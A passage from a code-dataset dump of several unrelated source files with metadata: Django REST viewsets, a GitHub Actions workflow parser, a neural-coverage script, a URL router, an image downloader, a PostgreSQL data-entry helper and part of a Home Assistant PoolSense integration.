UserPlayer\r\n\r\n\r\nclass PlayerListViewSet(viewsets.ModelViewSet):\r\n \"\"\"\r\n servicio para listar los jugadores\r\n \"\"\"\r\n serializer_class = PlayerListSerializer\r\n\r\n def get_queryset(self):\r\n queryset=Player.objects.all()\r\n return queryset\r\n\r\n\r\nclass PlayerAddViewSet(viewsets.ViewSet):\r\n ''''\r\n servicio para registrar Player\r\n '''\r\n\r\n def create(self, request):\r\n serializado = PlayerAddSerializer(data=request.data)\r\n if serializado.is_valid():\r\n player = Player(\r\n dni=serializado.validated_data['dni'],\r\n first_name=serializado.validated_data['first_name'],\r\n last_name=serializado.validated_data['last_name'],\r\n date_birth=serializado.validated_data['date_birth'],\r\n gender=serializado.validated_data['gender'],\r\n dorsal=serializado.validated_data['dorsal'],\r\n email=serializado.validated_data['email'],\r\n address=serializado.validated_data['address'],\r\n phone=serializado.validated_data['phone'],\r\n position=serializado.validated_data['position'],\r\n created_by=self.request.user,\r\n modified_by=self.request.user,\r\n )\r\n player.save()\r\n #\r\n team = Team.objects.get(pk=serializado.validated_data['team'])\r\n #registramos la inscripicon del jugador\r\n DetailTeam(\r\n player=player,\r\n team=team,\r\n created_by=self.request.user,\r\n modified_by=self.request.user,\r\n ).save()\r\n else:\r\n print (serializado.errors)\r\n\r\n return Response()\r\n\r\n\r\n\r\nclass PlayerUserAddViewSet(viewsets.ViewSet):\r\n ''''\r\n servicio para registrar PlayerUser\r\n '''\r\n\r\n def create(self, request):\r\n serializado = PlayerUserAddSerializer(data=request.data)\r\n if serializado.is_valid():\r\n #recuperaos el usuario enviado\r\n usuario = User.objects.get(\r\n pk=serializado.validated_data['usuario'],\r\n )\r\n #recuperamos el equipo para inscripicon\r\n team = Team.objects.get(pk=serializado.validated_data['team'])\r\n #\r\n player = UserPlayer(\r\n dni=serializado.validated_data['dni'],\r\n dorsal=serializado.validated_data['dorsal'],\r\n position=serializado.validated_data['position'],\r\n user=usuario,\r\n team=team,\r\n )\r\n player.save()\r\n else:\r\n print(serializado.errors)\r\n\r\n return Response()\r\n\r\n\r\nclass PlayerUpdateAnulateViewSet(viewsets.ViewSet):\r\n ''''\r\n servicio para anular un jugador\r\n '''\r\n\r\n def create(self, request):\r\n serializado = PlayerUpdateAnulateSerializer(data=request.data)\r\n if serializado.is_valid():\r\n jugador = Player.objects.get(pk=serializado.validated_data['pk'])\r\n jugador.anulate = serializado.validated_data['anulate']\r\n jugador.modified_by = self.request.user\r\n jugador.save()\r\n\r\n else:\r\n print(serializado.errors)\r\n\r\n return Response()\r\n\r\n\r\nclass UserPlayerListViewSet(viewsets.ModelViewSet):\r\n '''\r\n servicio para listar usuario de un equipo\r\n '''\r\n serializer_class = UserPlayerListSerializer\r\n\r\n def get_queryset(self):\r\n pk = self.kwargs['pk']\r\n queryset = UserPlayer.objects.users_by_equipo(pk)\r\n return queryset\r\n\r\n\r\nclass DetailTeamListViewSet(viewsets.ModelViewSet):\r\n '''\r\n servicio para listar jugadorees de un equipo\r\n '''\r\n serializer_class = DetailTeamListSerializer\r\n\r\n def get_queryset(self):\r\n pk = self.kwargs['pk']\r\n queryset = DetailTeam.objects.players_by_equipo(pk)\r\n return queryset\r\n\r\n\r\nclass TeamByPlayerListViewSet(viewsets.ModelViewSet):\r\n '''\r\n servicio para listar equipos de un jugador\r\n '''\r\n serializer_class = TeamByPlayerUserSerializer\r\n\r\n def get_queryset(self):\r\n usuario = self.request.user\r\n queryset = UserPlayer.objects.team_by_user_player(usuario)\r\n return queryset\r\n", "sub_path": "nliga/applications/jugador/viewsets.py", "file_name": "viewsets.py", "file_ext": "py", "file_size_in_byte": 4835, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "rest_framework.viewsets.ModelViewSet", "line_number": 26, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 26, "usage_type": "name"}, {"api_name": "serializers.PlayerListSerializer", "line_number": 30, "usage_type": "name"}, {"api_name": "models.Player.objects.all", "line_number": 33, "usage_type": "call"}, {"api_name": "models.Player.objects", "line_number": 33, "usage_type": "attribute"}, {"api_name": "models.Player", "line_number": 33, "usage_type": "name"}, {"api_name": "rest_framework.viewsets.ViewSet", "line_number": 37, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 37, "usage_type": "name"}, {"api_name": "serializers.PlayerAddSerializer", "line_number": 43, "usage_type": "call"}, {"api_name": "models.Player", "line_number": 45, "usage_type": "call"}, {"api_name": "applications.equipo.models.Team.objects.get", "line_number": 61, "usage_type": "call"}, {"api_name": "applications.equipo.models.Team.objects", "line_number": 61, "usage_type": "attribute"}, {"api_name": "applications.equipo.models.Team", "line_number": 61, "usage_type": "name"}, {"api_name": "models.DetailTeam", "line_number": 63, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 72, "usage_type": "call"}, {"api_name": "rest_framework.viewsets.ViewSet", "line_number": 76, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 76, "usage_type": "name"}, {"api_name": "serializers.PlayerUserAddSerializer", "line_number": 82, "usage_type": "call"}, {"api_name": "applications.users.models.User.objects.get", "line_number": 85, "usage_type": "call"}, {"api_name": "applications.users.models.User.objects", "line_number": 85, "usage_type": "attribute"}, {"api_name": "applications.users.models.User", "line_number": 85, "usage_type": "name"}, {"api_name": "applications.equipo.models.Team.objects.get", "line_number": 89, "usage_type": "call"}, {"api_name": "applications.equipo.models.Team.objects", "line_number": 89, "usage_type": "attribute"}, {"api_name": "applications.equipo.models.Team", "line_number": 89, "usage_type": "name"}, {"api_name": "models.UserPlayer", "line_number": 91, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 102, "usage_type": "call"}, {"api_name": "rest_framework.viewsets.ViewSet", "line_number": 105, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 105, "usage_type": "name"}, {"api_name": "serializers.PlayerUpdateAnulateSerializer", "line_number": 111, "usage_type": "call"}, {"api_name": "models.Player.objects.get", "line_number": 113, "usage_type": "call"}, {"api_name": "models.Player.objects", "line_number": 113, "usage_type": "attribute"}, {"api_name": "models.Player", "line_number": 113, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 121, "usage_type": "call"}, {"api_name": "rest_framework.viewsets.ModelViewSet", "line_number": 124, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 124, "usage_type": "name"}, {"api_name": "serializers.UserPlayerListSerializer", "line_number": 128, "usage_type": "name"}, {"api_name": "models.UserPlayer.objects.users_by_equipo", "line_number": 132, "usage_type": "call"}, {"api_name": "models.UserPlayer.objects", "line_number": 132, "usage_type": "attribute"}, {"api_name": "models.UserPlayer", "line_number": 132, "usage_type": "name"}, {"api_name": "rest_framework.viewsets.ModelViewSet", "line_number": 136, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 136, "usage_type": "name"}, {"api_name": "serializers.DetailTeamListSerializer", "line_number": 140, "usage_type": "name"}, {"api_name": "models.DetailTeam.objects.players_by_equipo", "line_number": 144, "usage_type": "call"}, {"api_name": "models.DetailTeam.objects", "line_number": 144, "usage_type": "attribute"}, {"api_name": "models.DetailTeam", "line_number": 144, "usage_type": "name"}, {"api_name": "rest_framework.viewsets.ModelViewSet", "line_number": 148, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 148, "usage_type": "name"}, {"api_name": "serializers.TeamByPlayerUserSerializer", "line_number": 152, "usage_type": "name"}, {"api_name": "models.UserPlayer.objects.team_by_user_player", "line_number": 156, "usage_type": "call"}, {"api_name": "models.UserPlayer.objects", "line_number": 156, "usage_type": "attribute"}, {"api_name": "models.UserPlayer", "line_number": 156, "usage_type": "name"}]} +{"seq_id": "398100736", "text": "\"\"\"Handle's all the parsing and validation\nfunctionality of `.workflow` files.\"\"\"\nfrom __future__ import unicode_literals\nimport os\nfrom builtins import str, input, dict\n\nimport hcl\n\nfrom popper.cli import log\nfrom popper import utils as pu\n\n# The valid Workflow and Action attributes.\nVALID_ACTION_ATTRS = [\"uses\", \"args\", \"needs\", \"runs\", \"secrets\", \"env\"]\nVALID_WORKFLOW_ATTRS = [\"resolves\", \"on\"]\n\n\nclass Workflow(object):\n \"\"\"Represent's a workflow.\n \"\"\"\n\n def __init__(self, workflow_file):\n\n # Read's the workflow file.\n with open(workflow_file, 'r') as fp:\n self.workflow = hcl.load(fp)\n fp.seek(0)\n self.workflow_content = fp.readlines()\n\n self.validate_syntax()\n self.normalize()\n self.complete_graph()\n\n @property\n def name(self):\n \"\"\"The name of the workflow.\"\"\"\n return self.workflow['name']\n\n @property\n def on(self):\n \"\"\"The value of `on` attribute.\"\"\"\n return self.workflow['on']\n\n @property\n def root(self):\n \"\"\"The value of the `root` attribute.\"\"\"\n return self.workflow['root']\n\n @property\n def resolves(self):\n \"\"\"The value of the `resolves` attribute.\"\"\"\n return self.workflow['resolves']\n\n @property\n def actions(self):\n \"\"\"The list of actions in a workflow.\"\"\"\n return self.workflow['action'].items()\n\n def get_runner(self, action):\n \"\"\"Returns the runner required to run an action.\"\"\"\n return self.workflow['action'][action]['runner']\n\n def get_action(self, action):\n \"\"\"Returns an action from a workflow.\"\"\"\n return self.workflow['action'][action]\n\n @pu.threadsafe_generator\n def get_stages(self):\n \"\"\"Generator of stages. A stages is a list of actions that can be\n executed in parallel.\n \"\"\"\n current_stage = self.workflow['root']\n\n while current_stage:\n yield current_stage\n next_stage = set()\n for n in current_stage:\n next_stage.update(\n self.workflow['action'][n].get(\n 'next', set()))\n current_stage = next_stage\n\n def complete_graph(self):\n \"\"\"A GHA workflow is defined by specifying edges that point to the\n previous nodes they depend on. To make the workflow easier to process,\n we add forward edges. This also obtains the root nodes.\n \"\"\"\n nodes_without_dependencies = set()\n root_nodes = set()\n\n for name, a_block in self.workflow['action'].items():\n\n a_block['name'] = name\n\n for n in a_block.get('needs', []):\n if not self.workflow['action'][n].get('next', None):\n self.workflow['action'][n]['next'] = set()\n self.workflow['action'][n]['next'].add(name)\n\n if not a_block.get('needs', None):\n nodes_without_dependencies.add(name)\n\n # a root node is:\n # - reachable from the workflow's 'resolves' node\n # - a node without dependencies\n for n in set(nodes_without_dependencies):\n if (self.workflow['action'][n].get('next', None)\n or n in self.workflow['resolves']):\n nodes_without_dependencies.remove(n)\n root_nodes.add(n)\n\n if nodes_without_dependencies:\n log.warn(\n \"These actions are unreachable and won't be \"\n \"executed: {}\".format(','.join(nodes_without_dependencies)))\n\n self.workflow['root'] = list(root_nodes)\n\n @staticmethod\n def is_list_of_strings(arr):\n \"\"\"Utility function to check whether a list consists of only\n strings or not.\n\n Args:\n arr (list) : The list to verify.\n\n Returns:\n bool : Whether the list consists of only strings or not.\n\n \"\"\"\n # Python 2 to 3 Compability\n try:\n basestring\n except UnboundLocalError:\n basestring = str\n return bool(arr) and isinstance(arr, list) and all(\n isinstance(elem, basestring) for elem in arr)\n\n def validate_syntax(self):\n \"\"\" Validates the `.workflow` file by checking whether required items\n are specified, and if extra attributes not defined in the GHA\n specification are part of a workflow.\"\"\"\n\n # Validates the workflow block\n if not self.workflow.get('workflow', None):\n log.fail('A workflow block must be present.')\n elif len(self.workflow['workflow'].items()) > 1:\n log.fail('Cannot have more than one workflow blocks.')\n else:\n wf_block = list(self.workflow['workflow'].values())[0]\n for key in wf_block.keys():\n if key not in VALID_WORKFLOW_ATTRS:\n log.fail('Invalid attrs found.')\n if not wf_block.get('resolves', None):\n log.fail('[resolves] attribute must be present.')\n\n # Validates the action blocks\n self.check_duplicate_actions()\n\n if not self.workflow.get('action', None):\n log.fail('Atleast one action block must be present.')\n else:\n for _, a_block in self.workflow['action'].items():\n for key in a_block.keys():\n if key not in VALID_ACTION_ATTRS:\n log.fail('Invalid attrs found.')\n if not a_block.get('uses', None):\n log.fail('[uses] attribute must be present.')\n\n def normalize(self):\n \"\"\"Normalize the dictionary representation of the workflow by creating\n lists for all attributes that can be either a string or a list.\"\"\"\n # move from this:\n #\n # \"workflow\": {\n # \"test-and-deploy\": {\n # \"resolves\": \"deploy\"\n # }\n # }\n #\n # to this (top-level items in workflow dictionary):\n #\n # \"name\": \"test-and-deploy\",\n # \"on\": \"push\",\n # \"resolves\": \"deploy\"\n #\n\n for wf_name, wf_block in dict(self.workflow['workflow']).items():\n self.workflow['name'] = wf_name\n self.workflow['on'] = wf_block.get('on', 'push')\n self.workflow['resolves'] = wf_block['resolves']\n\n del(self.workflow['workflow'])\n\n # Python 2 to 3 Compability\n try:\n basestring\n except UnboundLocalError:\n basestring = str\n\n # Create a list for all attributes that can be either string or list\n if isinstance(self.workflow['resolves'], basestring):\n self.workflow['resolves'] = [self.workflow['resolves']]\n elif not self.is_list_of_strings(self.workflow['resolves']):\n log.fail('[resolves] must be a list of strings or a string')\n if not isinstance(self.workflow['on'], basestring):\n log.fail('[on] attribute must be a string')\n for _, a_block in self.workflow['action'].items():\n if not isinstance(a_block['uses'], basestring):\n log.fail('[uses] attribute must be a string')\n if a_block.get('needs', None):\n if isinstance(a_block['needs'], basestring):\n a_block['needs'] = [a_block['needs']]\n elif not self.is_list_of_strings(a_block['needs']):\n log.fail(\n '[needs] attribute must be a list of strings '\n 'or a string')\n if a_block.get('runs', None):\n if isinstance(a_block['runs'], basestring):\n a_block['runs'] = [a_block['runs']]\n elif not self.is_list_of_strings(a_block['runs']):\n log.fail(\n '[runs] attribute must be a list of strings '\n 'or a string')\n if a_block.get('args', None):\n if isinstance(a_block['args'], basestring):\n a_block['args'] = a_block['args'].split()\n elif not self.is_list_of_strings(a_block['args']):\n log.fail(\n '[args] attribute must be a list of strings '\n 'or a string')\n if a_block.get('env', None):\n if not isinstance(a_block['env'], dict):\n log.fail('[env] attribute must be a dict')\n if a_block.get('secrets', None):\n if not self.is_list_of_strings(a_block['secrets']):\n log.fail('[secrets] attribute must be a list of strings')\n\n def check_duplicate_actions(self):\n \"\"\"Checks whether duplicate action blocks are\n present or not.\"\"\"\n parsed_acount = 0\n if self.workflow.get('action', None):\n parsed_acount = len(list(self.workflow['action'].items()))\n acount = 0\n for line in self.workflow_content:\n line = line.strip()\n if line.startswith('action '):\n acount += 1\n if parsed_acount != acount:\n log.fail('Duplicate action identifiers found.')\n", "sub_path": "cli/popper/parser.py", "file_name": "parser.py", "file_ext": "py", "file_size_in_byte": 9114, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "hcl.load", "line_number": 25, "usage_type": "call"}, {"api_name": "popper.utils.threadsafe_generator", "line_number": 66, "usage_type": "attribute"}, {"api_name": "popper.utils", "line_number": 66, "usage_type": "name"}, {"api_name": "popper.cli.log.warn", "line_number": 112, "usage_type": "call"}, {"api_name": "popper.cli.log", "line_number": 112, "usage_type": "name"}, {"api_name": "builtins.str", "line_number": 134, "usage_type": "name"}, {"api_name": "popper.cli.log.fail", "line_number": 145, "usage_type": "call"}, {"api_name": "popper.cli.log", "line_number": 145, "usage_type": "name"}, {"api_name": "popper.cli.log.fail", "line_number": 147, "usage_type": "call"}, {"api_name": "popper.cli.log", "line_number": 147, "usage_type": "name"}, {"api_name": "popper.cli.log.fail", "line_number": 152, "usage_type": "call"}, {"api_name": "popper.cli.log", "line_number": 152, "usage_type": "name"}, {"api_name": "popper.cli.log.fail", "line_number": 154, "usage_type": "call"}, {"api_name": "popper.cli.log", "line_number": 154, "usage_type": "name"}, {"api_name": "popper.cli.log.fail", "line_number": 160, "usage_type": "call"}, {"api_name": "popper.cli.log", "line_number": 160, "usage_type": "name"}, {"api_name": "popper.cli.log.fail", "line_number": 165, "usage_type": "call"}, {"api_name": "popper.cli.log", "line_number": 165, "usage_type": "name"}, {"api_name": "popper.cli.log.fail", "line_number": 167, "usage_type": "call"}, {"api_name": "popper.cli.log", "line_number": 167, "usage_type": "name"}, {"api_name": "builtins.dict", "line_number": 187, "usage_type": "call"}, {"api_name": "builtins.str", "line_number": 198, "usage_type": "name"}, {"api_name": "popper.cli.log.fail", "line_number": 204, "usage_type": "call"}, {"api_name": "popper.cli.log", "line_number": 204, "usage_type": "name"}, {"api_name": "popper.cli.log.fail", "line_number": 206, "usage_type": "call"}, {"api_name": "popper.cli.log", "line_number": 206, "usage_type": "name"}, {"api_name": "popper.cli.log.fail", "line_number": 209, "usage_type": "call"}, {"api_name": "popper.cli.log", "line_number": 209, "usage_type": "name"}, {"api_name": "popper.cli.log.fail", "line_number": 214, "usage_type": "call"}, {"api_name": "popper.cli.log", "line_number": 214, "usage_type": "name"}, {"api_name": "popper.cli.log.fail", "line_number": 221, "usage_type": "call"}, {"api_name": "popper.cli.log", "line_number": 221, "usage_type": "name"}, {"api_name": "popper.cli.log.fail", "line_number": 228, "usage_type": "call"}, {"api_name": "popper.cli.log", "line_number": 228, "usage_type": "name"}, {"api_name": "builtins.dict", "line_number": 232, "usage_type": "argument"}, {"api_name": "popper.cli.log.fail", "line_number": 233, "usage_type": "call"}, {"api_name": "popper.cli.log", "line_number": 233, "usage_type": "name"}, {"api_name": "popper.cli.log.fail", "line_number": 236, "usage_type": "call"}, {"api_name": "popper.cli.log", "line_number": 236, "usage_type": "name"}, {"api_name": "popper.cli.log.fail", "line_number": 250, "usage_type": "call"}, {"api_name": "popper.cli.log", "line_number": 250, "usage_type": "name"}]} +{"seq_id": "507695220", "text": "import os\nimport math\nimport copy\nfrom tqdm import tqdm\nimport sys\n\n#global K\nK = 20\n\n\ndef readFile(filepath):\n f = open(filepath)\n content = f.read()\n f.close()\n return content.splitlines()\n\ndef getDistribute(outputs,NSec):\n nnum = len(outputs[0])\n tnum = len(outputs)\n NDist = []\n for i in range(nnum):\n temps = [0] * K\n for j in range(tnum):\n tempv = outputs[j][i]\n tempmin = NSec[i][0]\n tempmax = NSec[i][1]\n tempindex = getK(tempmin,tempmax,tempv)\n try:\n temps[tempindex-1] += 1\n except:\n print(tempindex)\n input('getDIstribute error ...')\n for k in range(K):\n temps[k] = temps[k]/tnum\n NDist.append(copy.deepcopy(temps))\n #print(sum(temps))\n #input('check...')\n return NDist\n\n\ndef getSectionIndex(outputs,NSec):\n nnum = len(outputs[0])\n tnum = len(outputs)\n NIndex = []\n for j in range(tnum):\n temps = [0] * nnum\n for i in range(nnum):\n tempv = outputs[j][i]\n tempmin = NSec[i][0]\n tempmax = NSec[i][1]\n tempindex = getK(tempmin,tempmax,tempv)\n temps[i] = tempindex -1\n NIndex.append(copy.deepcopy(temps))\n return NIndex\n\n\ndef getSection(outputs):\n NSec = []\n #print(outputs[0])\n #print(len(outputs[0]))\n nnum = len(outputs[0])\n tnum = len(outputs)\n for i in range(nnum):\n omax = outputs[0][i]\n omin = outputs[0][i]\n for j in range(tnum):\n try:\n omax = max(omax,outputs[j][i])\n omin = min(omin,outputs[j][i])\n except:\n print(nnum)\n print(len(outputs[j]))\n print(\"%s : %s\"%(j,i))\n print(outputs[j])\n input('getSection error check...')\n NSec.append((omin,omax))\n return NSec\n\ndef getK(tmi,tma,tm):\n step = (tma-tmi)/K\n try:\n index = int(math.ceil((tm-tmi)/step))\n except ZeroDivisionError:\n return -1\n if index == 0:\n return index+1\n else:\n return index\n\n\n\n\nif __name__ == '__main__':\n #changelayer = int(sys.argv[1])\n #prepath = 'doubleneuronnumber-lenet-1/' + str(changelayer) + '/'\n\n #path = prepath + 'Cov/'\n #path1 = path\n threshold = '0.5'\n path1 = os.getcwd() + '/Cov/'\n path = os.getcwd() + '/Cov/activeneuron/' + threshold + 'ase/'\n noutput = readFile(path1 + 'cross_entropy')\n for i in tqdm(range(len(noutput))):\n noutput[i] = eval(noutput[i])\n NSec = getSection(noutput)\n #NDist = getDistribute(noutput,NSec)\n NIndex = getSectionIndex(noutput,NSec)\n f = open(path + 'kcoverage','w')\n for i in tqdm(range(len(NIndex))):\n for j in range(len(NIndex[i])):\n f.write(str(NIndex[i][j]) + ',')\n f.write('\\n')\n f.close()\n", "sub_path": "cifar10/5_Wide_Residual_Network/5kcoverage.py", "file_name": "5kcoverage.py", "file_ext": "py", "file_size_in_byte": 2905, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "copy.deepcopy", "line_number": 35, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 53, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 82, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 100, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 101, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 103, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 109, "usage_type": "call"}]} +{"seq_id": "421368542", "text": "from django.urls import path, include\nfrom rest_framework.routers import DefaultRouter\n\nfrom .views import CategoryViewSet, ContactUsViewSet\n\napp_name = 'meta'\nrouter = DefaultRouter()\n\nrouter.register('category', CategoryViewSet)\nrouter.register('contact_us', ContactUsViewSet)\n\nurlpatterns = [\n path('', include(router.urls))\n]\n", "sub_path": "fashion_store/meta/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 333, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "rest_framework.routers.DefaultRouter", "line_number": 7, "usage_type": "call"}, {"api_name": "views.CategoryViewSet", "line_number": 9, "usage_type": "argument"}, {"api_name": "views.ContactUsViewSet", "line_number": 10, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 13, "usage_type": "call"}]} +{"seq_id": "131320424", "text": "import time\nimport requests\n\n\nclass Download:\n def __init__(self, filename, src, infoPrefix):\n self.filename = filename\n self.src = src\n self.infoPrefix = infoPrefix\n\n # 生成远程图片方法\n def downloadImage(self):\n start = time.time()\n # 获取图片地址\n img_data = requests.get(self.src).content\n with open(self.filename, 'wb') as handler:\n handler.write(img_data)\n end = time.time()\n print(self.infoPrefix, ' cost :', end - start, 's')\n", "sub_path": "download.py", "file_name": "download.py", "file_ext": "py", "file_size_in_byte": 539, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "time.time", "line_number": 13, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 15, "usage_type": "call"}, {"api_name": "time.time", "line_number": 18, "usage_type": "call"}]} +{"seq_id": "271657209", "text": "# -*- coding: utf-8 -*-\n\nimport psycopg2\nimport random\nimport csv\n\n\ndef read_csv():\n csv_path = \"/home/dezhum/Desktop/data_bkp.csv\"\n lst = []\n with open(csv_path, mode=\"r\") as file:\n reader = csv.reader(file)\n for row in reader:\n res = [int(item) for item in row]\n lst.append(res)\n\n return lst\n\ndef line_creator(tik):\n zero, one, two = 70, 26, 4\n if 499 > tik >= 250:\n zero, one, two = 65, 27, 8\n if 749 > tik >= 500:\n zero, one, two = 65, 25, 10\n if tik >= 750:\n zero, one, two = 60, 30, 10\n\n print(\"Вероятности выпадения чисел >>> \", end='')\n print((zero, one, two))\n line = random.choices([0, 1, 2], k=22, weights=[zero, one, two])\n\n if line not in buffer:\n return line\n else:\n line_creator(tik)\n\ndef initialize_table():\n try:\n cursor.execute(\"\"\" CREATE TABLE IF NOT EXISTS train_data (\n {0});\"\"\".format(columns))\n print(\"Таблица train_data успешно создана\")\n conn.commit()\n except (Exception, psycopg2.DatabaseError) as error:\n print(\"Error: \" + str(error))\n\ndef insert_data(coeffs):\n str(coeffs).replace('[', '').replace(']', '')\n coefficients_str = str(coeffs).replace('[', '').replace(']', '')\n try:\n cursor.execute('''INSERT INTO {0}\n VALUES ({1});'''.format(\"train_data\", coefficients_str))\n conn.commit()\n print(\"Данные добавлены в базу данных\")\n except (Exception, psycopg2.DatabaseError) as error:\n print(\"Error: \" + str(error))\n\n\nif __name__ == \"__main__\":\n directin = \"/home/dezhum/WorkSpace/ВКР/parser/mess/\"\n conn = psycopg2.connect(dbname='', user='', host='localhost') # Insert actual data\n cursor = conn.cursor()\n\n columns = \"\"\"atr_1 INTEGER, atr_2 INTEGER, atr_3 INTEGER, atr_4 INTEGER, atr_5 INTEGER,\n atr_6 INTEGER, atr_7 INTEGER, atr_8 INTEGER, atr_9 INTEGER, atr_10 INTEGER, atr_11 INTEGER,\n atr_12 INTEGER, atr_13 INTEGER, atr_14 INTEGER, atr_15 INTEGER, atr_16 INTEGER, atr_17 INTEGER,\n atr_18 INTEGER, atr_19 INTEGER, atr_20 INTEGER, atr_21 INTEGER, atr_22 INTEGER, opinion INTEGER\"\"\"\n\n # initialize_table()\n\n buffer = read_csv()\n for i in range(len(buffer) + 1, 1009):\n print(\"Итерация: \" + str(i))\n true_line = line_creator(i)\n buffer.append(true_line)\n\n for j in range(22):\n print(\"atr_\" + str(j + 1), end=\" | \")\n print()\n for z in range(22):\n if z <= 8:\n if true_line[z] == 0:\n print(\" \", end=' | ')\n else:\n print(\" \" + str(true_line[z]), end=' | ')\n else:\n if true_line[z] == 0:\n print(\" \", end=' | ')\n else:\n print(\" \" + str(true_line[z]), end=' | ')\n\n opinion = int(input(\"\\nЭкспертная оценка >>> \"))\n true_line.append(opinion)\n insert_data(true_line)\n", "sub_path": "Auxiliary tools/data_create_helper.py", "file_name": "data_create_helper.py", "file_ext": "py", "file_size_in_byte": 3117, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "csv.reader", "line_number": 12, "usage_type": "call"}, {"api_name": "random.choices", "line_number": 30, "usage_type": "call"}, {"api_name": "psycopg2.DatabaseError", "line_number": 43, "usage_type": "attribute"}, {"api_name": "psycopg2.DatabaseError", "line_number": 54, "usage_type": "attribute"}, {"api_name": "psycopg2.connect", "line_number": 60, "usage_type": "call"}]} +{"seq_id": "448071781", "text": "\"\"\"The PoolSense integration.\"\"\"\nimport asyncio\nfrom datetime import timedelta\nimport logging\n\nimport async_timeout\nfrom poolsense import PoolSense\nfrom poolsense.exceptions import PoolSenseError\n\nfrom homeassistant.config_entries import ConfigEntry\nfrom homeassistant.const import CONF_EMAIL, CONF_PASSWORD\nfrom homeassistant.core import HomeAssistant\nfrom homeassistant.exceptions import ConfigEntryNotReady\nfrom homeassistant.helpers import aiohttp_client, update_coordinator\nfrom homeassistant.helpers.update_coordinator import UpdateFailed\n\nfrom .const import DOMAIN\n\nPLATFORMS = [\"sensor\"]\n\n_LOGGER = logging.getLogger(__name__)\n\n\nasync def async_setup(hass: HomeAssistant, config: dict):\n \"\"\"Set up the PoolSense component.\"\"\"\n # Make sure coordinator is initialized.\n hass.data.setdefault(DOMAIN, {})\n return True\n\n\nasync def async_setup_entry(hass: HomeAssistant, entry: ConfigEntry):\n \"\"\"Set up PoolSense from a config entry.\"\"\"\n poolsense = PoolSense()\n auth_valid = await poolsense.test_poolsense_credentials(\n aiohttp_client.async_get_clientsession(hass),\n entry.data[CONF_EMAIL],\n entry.data[CONF_PASSWORD],\n )\n\n if not auth_valid:\n _LOGGER.error(\"Invalid authentication\")\n return False\n\n coordinator = await get_coordinator(hass, entry)\n\n await hass.data[DOMAIN][entry.entry_id].async_refresh()\n\n if not coordinator.last_update_success:\n raise ConfigEntryNotReady\n\n hass.data[DOMAIN][entry.entry_id] = coordinator\n\n for component in PLATFORMS:\n hass.async_create_task(\n hass.config_entries.async_forward_entry_setup(entry, component)\n )\n\n return True\n\n\nasync def async_unload_entry(hass: HomeAssistant, entry: ConfigEntry):\n \"\"\"Unload a config entry.\"\"\"\n unload_ok = all(\n await asyncio.gather(\n *[\n hass.config_entries.async_forward_entry_unload(entry, component)\n for component in PLATFORMS\n ]\n )\n )\n\n if unload_ok:\n hass.data[DOMAIN].pop(entry.entry_id)\n\n return unload_ok\n\n\nasync def get_coordinator(hass, entry):\n \"\"\"Get the data update coordinator.\"\"\"\n\n async def async_get_data():\n _LOGGER.info(\"Run query to server\")\n poolsense = PoolSense()\n return_data = {}\n with async_timeout.timeout(10):\n try:\n return_data = await poolsense.get_poolsense_data(\n aiohttp_client.async_get_clientsession(hass),\n entry.data[CONF_EMAIL],\n entry.data[CONF_PASSWORD],\n )\n except (PoolSenseError) as error:\n raise UpdateFailed(error)\n\n return return_data\n\n return update_coordinator.DataUpdateCoordinator(\n hass,\n logging.getLogger(__name__),\n name=DOMAIN,\n update_method=async_get_data,\n update_interval=timedelta(hours=1),\n )\n", "sub_path": "homeassistant/components/poolsense/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 2938, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "logging.getLogger", "line_number": 21, "usage_type": "call"}, {"api_name": "homeassistant.core.HomeAssistant", "line_number": 24, "usage_type": "name"}, {"api_name": "const.DOMAIN", "line_number": 27, "usage_type": "argument"}, {"api_name": "homeassistant.core.HomeAssistant", "line_number": 31, "usage_type": "name"}, {"api_name": "homeassistant.config_entries.ConfigEntry", "line_number": 31, "usage_type": "name"}, {"api_name": "poolsense.PoolSense", "line_number": 33, "usage_type": "call"}, {"api_name": "poolsense.test_poolsense_credentials", "line_number": 34, "usage_type": "call"}, {"api_name": "homeassistant.helpers.aiohttp_client.async_get_clientsession", "line_number": 35, "usage_type": "call"}, {"api_name": "homeassistant.helpers.aiohttp_client", "line_number": 35, "usage_type": "name"}, {"api_name": "homeassistant.const.CONF_EMAIL", "line_number": 36, "usage_type": "name"}, {"api_name": "homeassistant.const.CONF_PASSWORD", "line_number": 37, "usage_type": "name"}, {"api_name": "const.DOMAIN", "line_number": 46, "usage_type": "name"}, {"api_name": "homeassistant.exceptions.ConfigEntryNotReady", "line_number": 49, "usage_type": "name"}, {"api_name": "const.DOMAIN", 